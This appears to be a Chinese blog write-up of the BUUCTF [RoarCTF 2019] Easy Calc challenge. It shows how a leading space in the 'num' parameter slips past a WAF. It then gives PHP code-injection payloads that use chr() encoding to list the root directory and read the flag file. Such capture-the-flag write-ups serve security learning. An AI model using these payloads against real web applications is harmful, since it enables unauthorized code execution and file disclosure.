BUUCTF [RoarCTF 2019]Easy Calc1

打开题目链接,出现一个计算器界面,随便输入一些东西尝试一下

 经过一番尝试发现输入数字没有问题,但输入字符就会报错

 然后我们查看页面源代码

 注释部分提示他设置了WAF需要我们去绕过,但是源代码里并没有给出过滤的规则,继续分析看到图片里第二个红框框提到了calc.php文件,这个文件负责处理传进来的参数,所以我们访问它

http://node4.buuoj.cn:27288/calc.php

可以看出通过GET方法传参,过滤了给名单里的字符,所以构造payload如下

calc.php? num=2;var_dump(scandir(chr(47)))

在num前加一个空格,这样可以让WAF认为“ num”不是“num”,但是在绕过WAF之后进行php解析时就会省略那个空格。

var_dump()输出变量的相关信息

scandir()函数以数组形式返回指定目录中的目录和文件

chr()函数传入参数为0~255的整数,返回对应的ASCII字符

我们发现f1agg文件,然后读取它

calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

file_get_contents()函数传入参数为文件路径,将整个文件读入一个字符串中

47、102、49、97、103、103分别是\f1agg的ASCII编码

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值